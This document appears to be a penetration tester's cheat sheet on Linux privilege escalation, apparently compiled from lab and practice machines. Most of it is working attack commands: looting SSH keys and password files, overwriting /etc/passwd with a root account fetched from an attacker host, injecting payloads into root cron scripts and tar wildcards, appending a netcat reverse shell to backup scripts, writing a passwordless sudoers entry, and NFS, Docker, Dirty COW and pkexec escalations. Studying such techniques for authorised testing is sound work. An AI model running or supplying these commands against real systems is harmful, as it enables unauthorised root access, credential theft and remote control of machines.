Linux PrivEsc Exploitation

Kernel Exploits

# Kernel Information
uname -a 
uname -r
cat /proc/version
cat /etc/issue

SUID

find / -perm -u=s -type f 2>/dev/null

or 

find / -perm /4000 2>/dev/null

find / -perm /4000 -type f -exec ls -lda {} \; 2>/dev/null
find / -type f -a \( -perm -u+s -o -perm -g+s\) -exec ls -l {} \; 2> /dev/null
find / -perm -u=s -type f 2>/dev/null

GUID file check

find / -group <> 2>/dev/null

CAP file check

# capabilities
getcap -r / 2>/dev/null

Insecure File Perm

find / -writable -type d 2>/dev/null

Firewall open port

# centos
firewall-cmd --zone=public --add-port PORT/tcp
# check: ss -tulwn | grep PORT4

Password Loot

# Locationg SSH Keys
cat /home/<user>/.ssh
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
chmod 600 id_rsa

# Finding Passwords # TAKES TIMEEE
grep --color=auto -rnw '/' -ie "PASSWORD=" --color=always 2> /dev/null

# Getting Shadow and passwd file both
unshadow <passwd file> <shadown file> > unshadowed.txt

# If password writing is visible
-> It's pwfeedback attack

# Writable passwd file + cp command
ls -la /etc/shadow
ls -la /etc/passwd # See if you can write into /etc/passwd

# On Kali, 
cp /etc/passwd passwd1

# Append chiya username to passwd1 file and cat /etc/passwd1 to see if its correct.
nano passwd1
chiya:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash

# On Victim Machine, replacing the passwd file.
curl http://<KALI IP>:<PORT>/passwd1 -o /etc/passwd

Now Login using SSH or Simply SU chiya.


openssl passwd w00t
echo "root2:msdVLD2vfcrvg:0:0:root:/root:/bin/bash" >> /etc/passwd
su root2
w00t
id

Restrict Shell Escape

// Rbash

# If your error looks like: -rbash: /usr/bin/python: restricted: cannot specify `/' in command names
BASH_CMDS[a]=/bin/sh;a

Sudo

sudo -l

Docker

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

Cron Jobs

CRON PATHS

// Type 1 : Crons Paths

cat /etc/crontab # What's running every minute and their path
cat /var/log/cron.log

# Example
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
chmod +x /home/user/overwrite.sh
/tmp/bash -p
whoami

WILDCARDS

Wildcard Info

// Type 2: Cron Wildcards

cat /etc/crontab # What's running every minute and their path
cat /var/log/cron.log
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/runme.sh # Change the path env
chmod +x runme.sh

touch /home/user/--checkpoint=1 # Check for path
touch /home/user/--checkpoint-action=exec=sh\ runme.sh # Check for path
/tmp/bash -p
whoami



Did these steps exactly on a practice machine:

1) echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > shell.sh
2) chmod +x shell.sh
3) touch ./--checkpoint-action=exec=sh\ shell.sh
4) /tmp/bash -p

FILE OVERWRITES

// Type 3: File Overwrite (Most Common)

cat /etc/crontab
cat /var/log/cron.log

# Example overwrite.sh is weird one with file permission.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /usr/local/bin/overwrite.sh
/tmp/bash -p
whoami



From Vulnlan Snc box, similiar for priv esc:
Found script running a backup, likely w/root permissions, added this to it:

echo "chmod +s /bin/bash" >> /usr/local/bin/backup.sh

After a minute, run this to get root:

/bin/bash -p

Extra Notes I had on Cron Jobs


grep "CRON" /var/log/syslog
cat /home/joe/.scripts/user_backups.sh
ls -lah /home/joe/.scripts/user_backups.sh
cd .scripts
echo >> user_backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.198 4444 >/tmp/f" >> user_backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.198 4444 >/tmp/f" >> this_is_fine.sh 


cat user_backups.sh

Device Drivers

lsmod 

# Example: libdata
/sbin/modinfo libdata

Unmounted Drives

mount
cat /etc/fstab # Swap partition
/bin/lsblk # Available disk

Capabilities

getcap -r / 2>/dev/null # ep in end means privilege everything # GTFO Bins.

# Example: cap_setuid+ep
python2.6 -c 'import os; os.setgid(0);os.setuid(0);os.system(/bin/bash)'

NFS Root Squashing

cat /etc/exports 
# Check if rw and "no_root_squash" both are present 
# The directory in which both are present is shareable and mountable.

# On kali
showmount -e <Victim IP>
mkdir /tmp/1
mount -o rw,vers=2 <Victim IP>:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x

dirtyc0w

https://www.exploit-db.com/exploits/40616

* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot

# affects all versions since 2.6.22

# the vulnerability has been patched in kernel versions 4.8.3, 4.7.9, 4.4.26 and newer.

TAR Sudo Privesc

# 1. Create files in the current directory called  
# '--checkpoint=1' and '--checkpoint-action=exec=sh privesc.sh'  
  
echo "" > '--checkpoint=1'  
echo "" > '--checkpoint-action=exec=sh privesc.sh'  
  
# 2. Create a privesc.sh bash script, that allows for privilege escalation  
#malicous.sh:  
echo 'kali ALL=(root) NOPASSWD: ALL' > /etc/sudoers  
  
#The above injects an entry into the /etc/sudoers file that allows the 'kali'  
#user to use sudo without a password for all commands  
#NOTE: we could have also used a reverse shell, this would work the same!  
#OR: Even more creative, you could've used chmod to changes the permissions  
#on a binary to have SUID permissions, and PE that way

Disk group privilege escalation

 Check the permissions on the current user
- id

 List /dev devices owner and group owner
- ls -l /dev

You can also find the partitions owned by disk group
- find /dev -group disk

Also display the available partitions
- df -h

Exploit:
- debugfs /dev/sda2'

JADX

**jadx** - Dex to Java decompiler

This was a hard one I had to use for the PG Educated box. 

If you find a .apk file, you can use jadx-gui to reverse it into java code.

This will likely give you a MainActivity class with methods inside. You can copy this methods into

public class Main { public static void main(String[] args) {
code here...
} }

GCC Note

https://www.exploit-db.com/exploits/41154

I found a box that had a unusual gtfobin for screen. Found an exploit that required C compiler. Native kali once was wrong version, caused a `GLIBC_2.34' not found error.

Apparently you can do this to find a gcc compiler on the victim machine:

find / -name gcc* 2>/dev/null

But I used: https://github.com/X0RW3LL/XenSpawn

Then did this:

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

Then transferred both over to finish the exploit.

Interesting Sudo/Admin Groups from HackTricks

HackTricks Info


Sudo/Admin Groups
PE - Method 1
Sometimes, by default (or because some software needs it) inside the /etc/sudoers file you can find some of these lines:

Copy
# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# Allow members of group admin to execute any command
%admin 	ALL=(ALL:ALL) ALL
This means that any user that belongs to the group sudo or admin can execute anything as sudo.

If this is the case, to become root you can just execute:

Copy
sudo su
PE - Method 2
Find all suid binaries and check if there is the binary Pkexec:

Copy
find / -perm -4000 2>/dev/null
If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
This is because typically those are the groups inside the polkit policy. This policy basically identifies which groups can use pkexec. Check it with:

Copy
cat /etc/polkit-1/localauthority.conf.d/*
There you will find which groups are allowed to execute pkexec and by default in some linux disctros the groups sudo and admin appear.

To become root you can execute:

Copy
pkexec "/bin/sh" #You will be prompted for your user password
If you try to execute pkexec and you get this error:

Copy
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
It's not because you don't have permissions but because you aren't connected without a GUI. And there is a work around for this issue here: https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903. You need 2 different ssh sessions:

session1
Copy
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
session2
Copy
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec